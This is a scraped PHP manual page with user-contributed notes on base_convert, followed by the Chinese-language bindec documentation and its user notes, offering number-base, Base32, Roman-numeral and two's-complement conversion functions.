$b16 = 'ABCDEF00001234567890';
$b36 = str_baseconvert($b16, 16, 36);
echo ("$b16 (hexadecimal) = $b36 (base-36) \\n");

$uuid = 'ABCDEF01234567890123456789ABCDEF';
$ukey = str_baseconvert($uuid, 16, 36);
echo ("$uuid (hexadecimal) = $ukey (base-36) \\n");
?>

ABCDEF00001234567890 (hexadecimal) = 3o47re02jzqisvio (base-36)
ABCDEF01234567890123456789ABCDEF (hexadecimal) = a65xa07491kf5zyfpvbo76g33 (base-36)
Baji dot Panchumarti at gmail dot com 04-Jul-2012 07:50
Extending base_convert to bases above 36, up to base 62.

<?php
function base_convert_x( $_number='', $_frBase=10, $_toBase=62 ) {

#   Today's Date - C74 - convert a string (+ve integer) from any arbitrary base to any arbitrary base, up to base 62, using  0-9,A-Z,a-z
#
#   Usage :   echo base_convert_x( 123456789012345, 10, 32 );

  $_10to62 =  array(
    '0'  => '0', '1'  => '1', '2'  => '2', '3'  => '3', '4'  => '4', '5'  => '5', '6'  => '6', '7'  => '7', '8'  => '8', '9'  => '9', '00' => '0', '01' => '1', '02' => '2', '03' => '3', '04' => '4', '05' => '5', '06' => '6', '07' => '7',
    '10' => 'A', '11' => 'B', '12' => 'C', '13' => 'D', '14' => 'E', '15' => 'F', '16' => 'G', '17' => 'H', '18' => 'I', '19' => 'J', '20' => 'K', '21' => 'L', '22' => 'M', '23' => 'N', '24' => 'O', '25' => 'P', '26' => 'Q', '27' => 'R',
    '30' => 'U', '31' => 'V', '32' => 'W', '33' => 'X', '34' => 'Y', '35' => 'Z', '36' => 'a', '37' => 'b', '38' => 'c', '39' => 'd', '40' => 'e', '41' => 'f', '42' => 'g', '43' => 'h', '44' => 'i', '45' => 'j', '46' => 'k', '47' => 'l',
    '50' => 'o', '51' => 'p', '52' => 'q', '53' => 'r', '54' => 's', '55' => 't', '56' => 'u', '57' => 'v', '58' => 'w', '59' => 'x', '60' => 'y', '61' => 'z'  );

  $_62to10 =  array(
    '0' => '00', '1' => '01', '2' => '02', '3' => '03', '4' => '04', '5' => '05', '6' => '06', '7' => '07', '8' => '08', '9' => '09', 'A' => '10', 'B' => '11', 'C' => '12', 'D' => '13', 'E' => '14', 'F' => '15', 'G' => '16', 'H' => '17',
    'K' => '20', 'L' => '21', 'M' => '22', 'N' => '23', 'O' => '24', 'P' => '25', 'Q' => '26', 'R' => '27', 'S' => '28', 'T' => '29', 'U' => '30', 'V' => '31', 'W' => '32', 'X' => '33', 'Y' => '34', 'Z' => '35', 'a' => '36', 'b' => '37',
    'e' => '40', 'f' => '41', 'g' => '42', 'h' => '43', 'i' => '44', 'j' => '45', 'k' => '46', 'l' => '47', 'm' => '48', 'n' => '49', 'o' => '50', 'p' => '51', 'q' => '52', 'r' => '53', 's' => '54', 't' => '55', 'u' => '56', 'v' => '57',
    'y' => '60', 'z' => '61' );

#   ---- First convert from frBase to base-10

    $_in_b10        =   0;
    $_pwr_of_frB    =   1;                        #  power of from base, eg. 1, 8, 64, 512
    $_chars         =   str_split( $_number );    #  split input # into chars
    $_str_len       =   strlen( $_number );
    $_pos           =   0;

    while     (  $_pos++ < $_str_len )  {
        $_char          =   $_chars[$_str_len - $_pos];
        $_in_b10       +=   (((int) $_62to10[$_char] ) * $_pwr_of_frB);
        $_pwr_of_frB   *=   $_frBase;
    }

#   ---- Now convert from base-10 to toBase

    $_dividend      =   (int)   $_in_b10;         #  name dividend easier to follow below
    $_in_toB        =   '';                       #  number string in toBase

    while     ( $_dividend > 0 )        {

        $_quotient  =   (int) ( $_dividend / $_toBase );    #  eg. 789 / 62  =  12  ( C in base 62 )
        $_remainder =   ''  .  ( $_dividend % $_toBase );   #  789 % 62  =  45  ( j in base 62 )
        $_in_toB    =   $_10to62[$_remainder] . $_in_toB;   #  789  (in base 10)  =    Cj  (in base 62)
        $_dividend  =   $_quotient;                         #  new dividend is the quotient from base division
    }

    if  ( $_in_toB  ==  '' )
          $_in_toB  =   '0';

    return    $_in_toB;                           #  base $_toBase string
}
#   --------- examples -------
    echo base_convert_x( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
    echo   base_convert( '3456789ABCDEF', 16, 10 ) . "\n";    #  920735923817967
?>
PHPCoder at niconet2k dot com 17-Nov-2011 10:45
Convert an arbitrarily large number from any base to any base.

string convBase(string $numberInput, string $fromBaseInput, string $toBaseInput)
$numberInput number to convert as a string
$fromBaseInput base of the number to convert as a string
$toBaseInput base the number should be converted to as a string
examples for $fromBaseInput and $toBaseInput
'0123456789ABCDEF' for Hexadecimal (Base16)
'0123456789' for Decimal (Base10)
'01234567' for Octal (Base8)
'01' for Binary (Base2)
You can really put in whatever you want and the first character is the 0.
Examples:

<?php
convBase('123', '0123456789', '01234567');
//Convert '123' from decimal (base10) to octal (base8).
//result: 173

convBase('70B1D707EAC2EDF4C6389F440C7294B51FFF57BB', '0123456789ABCDEF', '01');
//Convert '70B1D707EAC2EDF4C6389F440C7294B51FFF57BB' from hexadecimal (base16) to binary (base2).
//result:
//111000010110001110101110000011111101010110000101110
//110111110100110001100011100010011111010001000000110
//001110010100101001011010100011111111111110101011110
//111011

convBase('1324523453243154324542341524315432113200203012', '012345', '0123456789ABCDEF');
//Convert '1324523453243154324542341524315432113200203012' from senary (base6) to hexadecimal (base16).
//result: 1F9881BAD10454A8C23A838EF00F50

convBase('355927353784509896715106760','0123456789','Christopher');
//Convert '355927353784509896715106760' from decimal (base10) to undecimal (base11) using "Christopher" as the numbers.
//result: iihtspiphoeCrCeshhorsrrtrh

convBase('1C238Ab97132aAC84B72','0123456789aAbBcCdD', '~!@#$%^&*()');
//Convert'1C238Ab97132aAC84B72' from octodecimal (base18) using '0123456789aAbBcCdD' as the numbers to undecimal (base11) using '~!@#$%^&*()' as the numbers.
//result: !%~!!*&!~^!!&(&!~^@#@@@&

function convBase($numberInput, $fromBaseInput, $toBaseInput)
{
    if ($fromBaseInput==$toBaseInput) return $numberInput;
    $fromBase = str_split($fromBaseInput,1);
    $toBase = str_split($toBaseInput,1);
    $number = str_split($numberInput,1);
    $fromLen=strlen($fromBaseInput);
    $toLen=strlen($toBaseInput);
    $numberLen=strlen($numberInput);
    $retval='';
    if ($toBaseInput == '0123456789')
    {
        $retval=0;
        for ($i = 1;$i <= $numberLen; $i++)
            $retval = bcadd($retval, bcmul(array_search($number[$i-1], $fromBase),bcpow($fromLen,$numberLen-$i)));
        return $retval;
    }
    if ($fromBaseInput != '0123456789')
        $base10=convBase($numberInput, $fromBaseInput, '0123456789');
    else
        $base10 = $numberInput;
    if ($base10<strlen($toBaseInput))
        return $toBase[$base10];
    while($base10 != '0')
    {
        $retval = $toBase[bcmod($base10,$toLen)].$retval;
        $base10 = bcdiv($base10,$toLen,0);
    }
    return $retval;
}
?>
bpds 30-Sep-2011 05:47
A simple function to convert an int to any base.

<?php
function intToAlphaBaseN($n,$baseArray) {
    $l=count($baseArray);
    $s = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $s =  $baseArray[($n % pow($l, $i) / pow($l, $i - 1))].$s;
        $n -= pow($l, $i);
    }
    return $s;
}

$alpha=array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$r=rand(0, 99999999999);
echo(intToAlphaBaseN($r,$alpha));
?>
JR 16-Aug-2011 04:19
Short arabic2roman conveter:

<?php
function rome($N){
        $c='IVXLCDM';
        for($a=5,$b=$s='';$N;$b++,$a^=7)
                for($o=$N%$a,$N=$N/$a^0;$o--;$s=$c[$o>2?$b+$N-($N&=-2)+$o=1:$b].$s);
        return $s;
}
?>

And it works :)
bryan at bryanruiz dot com 03-Feb-2011 03:11
A RFC 4648 Compliant Base32 encode.  Send me an email if you end up making this thing more efficient with bitwise operations and whatever else.

<?php

/**
 * Encode in Base32 based on RFC 4648.
 * Requires 20% more space than base64
 * Great for case-insensitive filesystems like Windows and URL's  (except for = char which can be excluded using the pad option for urls)
 *
 * @package default
 * @author Bryan Ruiz
 **/
class Base32 {

   private static $map = array(
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', //  7
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 15
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 23
        'Y', 'Z', '2', '3', '4', '5', '6', '7', // 31
        '='  // padding char
    );

   private static $flippedMap = array(
        'A'=>'0', 'B'=>'1', 'C'=>'2', 'D'=>'3', 'E'=>'4', 'F'=>'5', 'G'=>'6', 'H'=>'7',
        'I'=>'8', 'J'=>'9', 'K'=>'10', 'L'=>'11', 'M'=>'12', 'N'=>'13', 'O'=>'14', 'P'=>'15',
        'Q'=>'16', 'R'=>'17', 'S'=>'18', 'T'=>'19', 'U'=>'20', 'V'=>'21', 'W'=>'22', 'X'=>'23',
        'Y'=>'24', 'Z'=>'25', '2'=>'26', '3'=>'27', '4'=>'28', '5'=>'29', '6'=>'30', '7'=>'31'
    );

    /**
     *    Use padding false when encoding for urls
     *
     * @return base32 encoded string
     * @author Bryan Ruiz
     **/
    public static function encode($input, $padding = true) {
        if(empty($input)) return "";
        $input = str_split($input);
        $binaryString = "";
        for($i = 0; $i < count($input); $i++) {
            $binaryString .= str_pad(base_convert(ord($input[$i]), 10, 2), 8, '0', STR_PAD_LEFT);
        }
        $fiveBitBinaryArray = str_split($binaryString, 5);
        $base32 = "";
        $i=0;
        while($i < count($fiveBitBinaryArray)) {
            $base32 .= self::$map[base_convert(str_pad($fiveBitBinaryArray[$i], 5,'0'), 2, 10)];
            $i++;
        }
        if($padding && ($x = strlen($binaryString) % 40) != 0) {
            if($x == 8) $base32 .= str_repeat(self::$map[32], 6);
            else if($x == 16) $base32 .= str_repeat(self::$map[32], 4);
            else if($x == 24) $base32 .= str_repeat(self::$map[32], 3);
            else if($x == 32) $base32 .= self::$map[32];
        }
        return $base32;
    }

    public static function decode($input) {
        if(empty($input)) return;
        $paddingCharCount = substr_count($input, self::$map[32]);
        $allowedValues = array(6,4,3,1,0);
        if(!in_array($paddingCharCount, $allowedValues)) return false;
        for($i=0; $i<4; $i++){
            if($paddingCharCount == $allowedValues[$i] &&
                substr($input, -($allowedValues[$i])) != str_repeat(self::$map[32], $allowedValues[$i])) return false;
        }
        $input = str_replace('=','', $input);
        $input = str_split($input);
        $binaryString = "";
        for($i=0; $i < count($input); $i = $i+8) {
            $x = "";
            if(!in_array($input[$i], self::$map)) return false;
            for($j=0; $j < 8; $j++) {
                $x .= str_pad(base_convert(@self::$flippedMap[@$input[$i + $j]], 10, 2), 5, '0', STR_PAD_LEFT);
            }
            $eightBits = str_split($x, 8);
            for($z = 0; $z < count($eightBits); $z++) {
                $binaryString .= ( ($y = chr(base_convert($eightBits[$z], 2, 10))) || ord($y) == 48 ) ? $y:"";
            }
        }
        return $binaryString;
    }
}
francesco[at]paladinux.net 23-Sep-2010 03:30
base convert is limited on standard base invented.
In some case, if you want to invented some translate code (for authorizion code 4 example) , I hope is usefull this example of base_convert-AS from decimal in 65imal base for a speedCode.
Some more specifical: you can transform using a db
$speedCodeDEC            = $idAziendaMittente.$idAziendaDestinatario.$idDDT ;

//$speedCodeDEC = 3000;

//
$BASECODE = array();
$BASECODE['items'] = 65;
$BASECODE[1]='1';
$BASECODE[2]='2';
$BASECODE[3]='3';
$BASECODE[4]='4';
....
$BASECODE[10]='a';
$BASECODE[11]='b';
$BASECODE[12]='c';
...
$BASECODE[36]='A';
$BASECODE[37]='B';
$BASECODE[38]='C';
...
$BASECODE[61]='Z';
$BASECODE[62]='/';
$BASECODE[63]='-';
$BASECODE[64]='+';
//

//print_r ($BASECODE);TEST

function creaSpeedCode ( $speedCodeDEC,$partialCode="",$BASECODE){

    @$division      = $speedCodeDEC/$BASECODE['items'];
    @$resultINT   = floor($speedCodeDEC/$BASECODE['items']);
    @$remnant          = $speedCodeDEC%$BASECODE['items'];
    $partialCode  = $BASECODE[$remnant].$partialCode;
echo "
    <br>
    Inserito speedCodeDEC:$speedCodeDEC - partialCode:$partialCode<br>
    items            : ".$BASECODE['items']."<br>
    division          : $division    <br>
    resultINT        : $resultINT    <br>
    remnant            : $remnant        <br>
    partialCode        : $partialCode    <br>
";//TEST
    if ($resultINT > 65)     $partialCode = creaSpeedCode($resultINT,$partialCode,$BASECODE);
    return $BASECODE[$resultINT].$partialCode;
}
echo $speedCodeDEC."<br>";
echo $risultato = creaSpeedCode ( $speedCodeDEC,"",$BASECODE);
Theriault 30-Nov-2009 02:11
If you would like to convert numbers into just the uppercase alphabet base and vice-versa (e.g. the column names in a Microsoft Windows Excel sheet..A-Z, AA-ZZ, AAA-ZZZ, ...), the following functions will do this.

<?php

/**
 * Converts an integer into the alphabet base (A-Z).
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function num2alpha($n) {
    $r = '';
    for ($i = 1; $n >= 0 && $i < 10; $i++) {
        $r = chr(0x41 + ($n % pow(26, $i) / pow(26, $i - 1))) . $r;
        $n -= pow(26, $i);
    }
    return $r;
}
/**
 * Converts an alphabetic string into an integer.
 *
 * @param int $n This is the number to convert.
 * @return string The converted number.
 * @author Theriault
 *
 */
function alpha2num($a) {
    $r = 0;
    $l = strlen($a);
    for ($i = 0; $i < $l; $i++) {
        $r += pow(26, $i) * (ord($a[$l - $i - 1]) - 0x40);
    }
    return $r - 1;
}

?>

Microsoft Windows Excel stops at IV (255), but this function can handle much larger. However, English words will start to form after a while and some may be offensive, so be careful.
cyrilbele at yahoo dot fr 16-Apr-2009 01:58
If you want to do sharding, at some point you will need to decide which shard to target. Here is a simple function to assign the data to a particular shard based on a key (usually identifier of the row)

Here is a simple function to get the shard based on the key and the number of shards available

<?php
function getShard($key,$nbShards) {
    $num = substr(base_convert(sha1($key), 16, 10),4,6);
    return $num%$nbShards;
}
?>
Ray Paseur sometimes uses GMail 06-Dec-2006 03:55
[EDIT BY danbrown AT php DOT net: This function provides conversion of Arabic numerals (those used by most of the world, the standard 1,2,3,4,...) into Roman numerals (I,II,III,IV,...).  The original author failed to provide a description, but due to the usefulness of the function, it is being preserved from deletion, and a simple description added.]

<?php
function roman_numerals($input_arabic_numeral='') {

    if ($input_arabic_numeral == '') { $input_arabic_numeral = date("Y"); } // DEFAULT OUTPUT: THIS YEAR
    $arabic_numeral            = intval($input_arabic_numeral);
    $arabic_numeral_text    = "$arabic_numeral";
    $arabic_numeral_length    = strlen($arabic_numeral_text);

    if (!ereg('[0-9]', $arabic_numeral_text)) {
return false; }

    if ($arabic_numeral > 4999) {
return false; }

    if ($arabic_numeral < 1) {
return false; }

    if ($arabic_numeral_length > 4) {
return false; }

    $roman_numeral_units    = $roman_numeral_tens        = $roman_numeral_hundreds        = $roman_numeral_thousands        = array();
    $roman_numeral_units[0]    = $roman_numeral_tens[0]    = $roman_numeral_hundreds[0]    = $roman_numeral_thousands[0]    = ''; // NO ZEROS IN ROMAN NUMERALS

    $roman_numeral_units[1]='I';
    $roman_numeral_units[2]='II';
    $roman_numeral_units[3]='III';
    $roman_numeral_units[4]='IV';
    $roman_numeral_units[5]='V';
    $roman_numeral_units[6]='VI';
    $roman_numeral_units[7]='VII';
    $roman_numeral_units[8]='VIII';
    $roman_numeral_units[9]='IX';

    $roman_numeral_tens[1]='X';
    $roman_numeral_tens[2]='XX';
    $roman_numeral_tens[3]='XXX';
    $roman_numeral_tens[4]='XL';
    $roman_numeral_tens[5]='L';
    $roman_numeral_tens[6]='LX';
    $roman_numeral_tens[7]='LXX';
    $roman_numeral_tens[8]='LXXX';
    $roman_numeral_tens[9]='XC';

    $roman_numeral_hundreds[1]='C';
    $roman_numeral_hundreds[2]='CC';
    $roman_numeral_hundreds[3]='CCC';
    $roman_numeral_hundreds[4]='CD';
    $roman_numeral_hundreds[5]='D';
    $roman_numeral_hundreds[6]='DC';
    $roman_numeral_hundreds[7]='DCC';
    $roman_numeral_hundreds[8]='DCCC';
    $roman_numeral_hundreds[9]='CM';

    $roman_numeral_thousands[1]='M';
    $roman_numeral_thousands[2]='MM';
    $roman_numeral_thousands[3]='MMM';
    $roman_numeral_thousands[4]='MMMM';

    if ($arabic_numeral_length == 3) { $arabic_numeral_text = "0" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 2) { $arabic_numeral_text = "00" . $arabic_numeral_text; }
    if ($arabic_numeral_length == 1) { $arabic_numeral_text = "000" . $arabic_numeral_text; }

    $anu = substr($arabic_numeral_text, 3, 1);
    $anx = substr($arabic_numeral_text, 2, 1);
    $anc = substr($arabic_numeral_text, 1, 1);
    $anm = substr($arabic_numeral_text, 0, 1);

    $roman_numeral_text = $roman_numeral_thousands[$anm] . $roman_numeral_hundreds[$anc] . $roman_numeral_tens[$anx] . $roman_numeral_units[$anu];
return ($roman_numeral_text);
}
?>
CJ Dennis 06-Apr-2006 01:03
Really huge numbers might be truncated at both ends.
eg:
<?php
$binary="11010101001111010001110101000100011110010110110".
"001111000010001010001111001100011010110110010010011010".
"001011010000001001011111110001010101101101011010101010".
"000100011101110010110010100111110001010010111010110011".
"001111111100011001011011001110001111110000101011010010";
print(strtoupper(base_convert($binary, 2, 16)));
?>
will output:
9E8EA23CB63C0000000000000000000000000000000000000000000000000000 (64 hex digits)
when the correct result would be:
6A9E8EA23CB63C228F31AD9268B4097F156D6AA11DCB29F14BACCFF196CE3F0AD2 (66 hex digits)
Notice that as well as the result showing '0's after B63C which you would expect it is also missing the first 6A before 9E.
lindsay at bitleap dot com 18-Mar-2005 01:17
If you need to use base_convert with numbers larger then 32 bit, the following gmp implementation of base_convert should work.

<?php

/*use gmp library to convert base. gmp will convert numbers > 32bit*/
function gmp_convert($num, $base_a, $base_b)
{
        return gmp_strval ( gmp_init($num, $base_a), $base_b );
}

?>
simon at simonster dot com 15-Jun-2004 06:05
Here are some functions for converting integers to and from base 256. Converting to base 64 is simple given these.

<?php
function to_base256($number, $from_base = 10) {
    $binary_number = base_convert($number, $from_base, 2);
    $final_string = "";
    $new_length = (ceil(strlen($binary_number)/8)*8);
    $binary_number = str_pad($binary_number, $new_length, "0", STR_PAD_LEFT);
    for($i=($new_length-8); $i>=0; $i-=8) {
        $final_string = chr(base_convert(substr($binary_number, $i, 8), 2, 10)).$final_string;
    }
    return $final_string;
}

function from_base256($string, $to_base = 10) {
    $number = "";
    for($i=0; $i<strlen($string); $i++) {
        $number .= str_pad(base_convert(ord($string{$i}), 10, 2), 8, "0", STR_PAD_LEFT);
    }
    return base_convert($number, 2, $to_base);
}
?>

Yes, I know that this would be more efficient if it used mod instead of base_convert, but it needs to work with integers > 32 bits.
AdamJacobMuller at AdamJacobMuller dot com 28-Apr-2004 02:20
<?php
function binarycodedstring2dec($binary) {
        $len=strlen($binary);
        $rows=($len/4)-1;
        if (($len%4)>0) {
                $pad=$len+(4-($len%4));
                $binary=str_pad($binary,$pad,"0",STR_PAD_LEFT);
                $len=strlen($binary);
                $rows=($len/4)-1;
        }
        $x=0;
        for ($x=0;$x<=$rows;$x++) {
                $s=($x*4);
                $bins=$binary[$s].$binary[$s+1].$binary[$s+2].$binary[$s+3];
                $num=base_convert($bins,2,10);
                if ($num>9) {
                        die("the string is not a proper binary coded decimal\n");
                } else {
                        $res.=$num;
                }
        }
        return $res;
}
?>

a binary coded decimal is converted by taking groups of four from a decimal string,
for example the binary coded decimal string
1000 = 8
10001000 does not = 136 but 88
so
binarycodedstring2dec(1000) = 8
binarycodedstring2dec(11100000111001)=3839
binarycodedstring2dec(100000111001)=839

i truly have no idea if this function will be useful to anyone, i simply failed a physics midterm because i didn't know this so i wrote this function to make sure i would never forget how to convert binary coded decimals
fiftytoo at buckeyeexpress dot com 24-Dec-2003 12:57
I needed a function to invert a hex value, which i used for setting font colors when they were on a colored background, that way i will get a contrasting color.

Im sure there are other reasons to use this, you decide!!

<?php
function InvertColor($hex) {
  return sprintf("%06s",base_convert(($hex ^ 0xFFFFFF),10,16));
  };

print '<td bgcolor="BB2222"><font color="'.InvertColor(0xBB2222).'">Blah</font></td>';
// Prints 44dddd as the font color, which is it's opposite on the color wheel

?>


二进制转换为十进制

  • ? base_convert
  • ceil ?
  • PHP Manual
  • Math 函数
  • 二进制转换为十进制

bindec

(PHP 4, PHP 5, PHP 7, PHP 8)

bindec — 二进制转换为十进制

说明

bindec(string $binary_string): int|float

返回 binary_string 参数所表示的二进制数的十进制等价值。

bindec() 将一个二进制数转换成 int，或者出于大小的需要，转换为 float 类型。

bindec() 将所有的 binary_string 值解释为无符号整数。这是由于 bindec() 函数将其最高有效位视为数量级而非符号位。

参数

binary_string

要转换的二进制字符串。binary_string 中的任何无效字符都会默认忽略。自 PHP 7.4.0 起，弃用使用任何无效字符。

Warning

参数必须为字符串。使用其他数据类型会导致不可预知的结果。

返回值

binary_string 的十进制数值

更新日志

版本 | 说明
7.4.0 | 传递任何无效字符现在将生成弃用通知。但仍会计算结果，就好像无效字符不存在一样。

示例

Example #1 bindec() 示例

<?php
echo bindec('110011') . "\n";
echo bindec('000110011') . "\n";

echo bindec('111');
?>

以上示例会输出：

51
51
7

Example #2 bindec() 将输入解读为无符号整数

<?php
/*
* The lesson from this example is in the output
* rather than the PHP code itself.
*/

$magnitude_lower = pow(2, (PHP_INT_SIZE * 8) - 2);
p($magnitude_lower - 1);
p($magnitude_lower, 'See the rollover? Watch it next time around...');

p(PHP_INT_MAX, 'PHP_INT_MAX');
p(~PHP_INT_MAX, 'interpreted to be one more than PHP_INT_MAX');

if (PHP_INT_SIZE == 4) {
$note = 'interpreted to be the largest unsigned integer';
} else {
$note = 'interpreted to be the largest unsigned integer
(18446744073709551615) but skewed by float precision';
}
p(-1, $note);

function p($input, $note = '') {
echo "input: $input\n";

$format = '%0' . (PHP_INT_SIZE * 8) . 'b';
$bin = sprintf($format, $input);
echo "binary: $bin\n";

ini_set('precision', 20); // For readability on 64 bit boxes.
$dec = bindec($bin);
echo 'bindec(): ' . $dec . "\n";

if ($note) {
echo "NOTE: $note\n";
}

echo "\n";
}
?>

以上示例在 32 位机器上的输出:

input:        1073741823
binary:       00111111111111111111111111111111
bindec():     1073741823

input:        1073741824
binary:       01000000000000000000000000000000
bindec():     1073741824
NOTE:         See the rollover?  Watch it next time around...

input:        2147483647
binary:       01111111111111111111111111111111
bindec():     2147483647
NOTE:         PHP_INT_MAX

input:        -2147483648
binary:       10000000000000000000000000000000
bindec():     2147483648
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       11111111111111111111111111111111
bindec():     4294967295
NOTE:         interpreted to be the largest unsigned integer

以上示例在 64 位机器上的输出:

input:        4611686018427387903
binary:       0011111111111111111111111111111111111111111111111111111111111111
bindec():     4611686018427387903

input:        4611686018427387904
binary:       0100000000000000000000000000000000000000000000000000000000000000
bindec():     4611686018427387904
NOTE:         See the rollover?  Watch it next time around...

input:        9223372036854775807
binary:       0111111111111111111111111111111111111111111111111111111111111111
bindec():     9223372036854775807
NOTE:         PHP_INT_MAX

input:        -9223372036854775808
binary:       1000000000000000000000000000000000000000000000000000000000000000
bindec():     9223372036854775808
NOTE:         interpreted to be one more than PHP_INT_MAX

input:        -1
binary:       1111111111111111111111111111111111111111111111111111111111111111
bindec():     18446744073709551616
NOTE:         interpreted to be the largest unsigned integer
              (18446744073709551615) but skewed by float precision

注释

Note:

此函数可以将太大的数字转换为适应平台的 int 类型，在这种情况下，较大值将会作为 float 返回。

参见

  • decbin() - 十进制转换为二进制
  • octdec() - 八进制转换为十进制
  • hexdec() - 十六进制转换为十进制
  • base_convert() - 在任意进制之间转换数字

User Contributed Notes

jpfstange at gmail dot com 09-Dec-2015 08:54
<?php

       //binfloat (For single precision floating point numbers)
       //IEE754
       //https://en.wikipedia.org/wiki/Single-precision_floating-point_format

        function binfloat(Array $num){

                $sign           =       $num[0] ? 1 : -1;                       //1 bit
                $exponent       =       pow(2,bindec(implode('',array_slice($num,1,8)))-127);
                $fraction       =       array_slice($num,9,count($num));        //23 bits
                $fracSum        =       1;

                for($i=0;$i<23;$i++){

                        $fracSum += $fraction[$i] * pow(2,-1-$i);

                }

                return $fracSum*$exponent;

        }

        $num    =       isset($_GET['num']) ? $_GET['num'] : '00111110001000000000000000000000';

        if(strlen($num)<32){

                echo "Invalid binary number $num\n";
                exit(1);

        }

        $num    =       str_split($num);

        echo sprintf('Num is: [%s]%s',implode('',$num),"\n");
        echo sprintf('Result is: %s%s',binfloat($num),"\n");
patrick dot boens at latosensu dot be 15-Jul-2012 01:14
Left-shift a string by a number of bytes
<?php
function STR_shl( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Left( $szBits,$nBits );                           /* The $nBits leftmost bits of the string */
    $szShifted  = substr( $szBits,$nBits ) . $szLostBits;               /* $szStr left shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Right-shift a string by a number of bytes
<?php

function STR_shr( $szStr,$nBits )
/*-----------------------------*/
{
    if ( $nBits < 1 || $nBits > 7 )                                     /* If not adequate number of bits */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( $nBits < 1 || $nBits > 7 ) */

    if ( ( $iLength = strlen( $szStr ) ) <= 0 )                         /* If string empty */
    {
        return ( $szStr );                                              /* Return the original string */
    }   /* if ( ( $iLength = strlen( $szStr ) ) <= 0 ) */

    $szRetVal   = '';                                                   /* Create an empty string */

    $szBits     = STR_Binary( $szStr );                                 /* $szStr in bits */
    $szLostBits = STR_Right( $szBits,$nBits );                          /* The $nBits rightmost bits of the string */
    $szShifted  = $szLostBits . substr( $szBits,0,-$nBits );            /* $szStr right shifted */

    for ( $i = 0;$i < $iLength;$i++ )                                   /* Treat the entire string (per slice of 8 bits) */
    {
        $szRetVal .= chr( bindec( substr( $szShifted,$i * 8,8 ) ) );    /* Concatenate the CHR to the result string */
    }   /* for ( $i = 0;$i < $iLength;$i++ ) */

    return ( $szRetVal );                                               /* Return result to caller */
}
?>

Additional functions used by the two preceding:
<?php
function STR_Binary( $szStr )
/*-------------------------*/
{
    $szRetVal = '';                                                     /* Ready to return an empty string */

    if ( ( $iLength = strlen( $szStr ) ) > 0 )                          /* If string NOT empty */
    {
        for ( $i = 0; $i < $iLength;$i++ )                              /* Treat each character of the string */
        {
            $szRetVal .= sprintf( '%08b',ord( $szStr[$i] ) );           /* Turn this char to a binary representation (8 bits) */
        }   /* for ( $i = 0; $i < $iLength;$i++ ) */
    }   /* if ( ( $iLength = strlen( $szStr ) ) > 0 ) */

    return ( $szRetVal );                                               /* Return result to caller */
}

function STR_Left( $szStr,$iCount = 1 )
/*----------------------------------*/
{
    return substr( $szStr,0,$iCount );
}   /* End of function strleft() */

function STR_Right( $szString,$iCount )
/*----------------------------------*/
{
    return substr( $szString,0 + strlen( $szString ) - $iCount,$iCount );
}
?>
info at rickdg dot nl 01-Apr-2010 04:40
Two functions to convert 16bit or 8bit binary to integer using two's complement. If input exceeds maximum bits, false is returned. Function is easily scalable to x bits by changing the hexadecimals.

<?php function _bin16dec($bin) {
    // Function to convert 16bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFFFF) { return false; }
    if($num >= 0x8000) {
        return -(($num ^ 0xFFFF)+1);
    } else {
        return $num;
    }
}

function _bin8dec($bin) {
    // Function to convert 8bit binary numbers to integers using two's complement
    $num = bindec($bin);
    if($num > 0xFF) { return false; }
    if($num >= 0x80) {
        return -(($num ^ 0xFF)+1);
    } else {
        return $num;
    }
} ?>
Nitrogen 21-Jul-2009 07:27
Binary to Decimal conversion using the BCMath extension..

<?php

function BCBin2Dec($Input='') {
  $Output='0';
  if(preg_match("/^[01]+$/",$Input)) {
    for($i=0;$i<strlen($Input);$i++)
      $Output=BCAdd(BCMul($Output,'2'),$Input{$i});
  }
  return($Output);
}

?>

This will simply convert from Base-2 to Base-10 using BCMath (arbitrary precision calculation).

See also: my 'BCDec2Bin' function on the 'decbin' document.
Enjoy,
Nitrogen.
nodarinodo at mail dot ru 08-Jan-2009 11:51
<?php
// bindecfunc :)))) I think it works well too :)
function bindecc($str)
    {
        $str = str_replace(" ", "", $str);
        $strr = preg_match('/[^01]/', $str);
        if($strr == 1) { return "<b> Error ! only 1 and 0;</b>"; }
        $strsig = strlen($str);
        $strr1 = strrev($str);
        $strf = '';
        for($i = $strsig; $i >= 0; $i--)
        {
            $strf += ($strr1[$i] * pow(2, $i));
            #$strf += $str[$i];
        }
        return $strf;
    }
?>
flashpack at gmail dot com 16-Nov-2008 04:40
for converting fractions :
eg : 1001.1101

<?php
function BinaryToDecimal($binary){
  $binary=trim($binary);
  if (strstr($binary,'.')){
    $split=explode('.',$binary);
    $integer=$split[0];
    $fraction=$split[1];

    $digits=str_split($fraction);
    $num=sizeof($digits);
    for ($i=1; $i<=$num;$i++){
      if ($digits[$i-1]>1){
        echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
      }
      $exponent=pow(2,-$i);
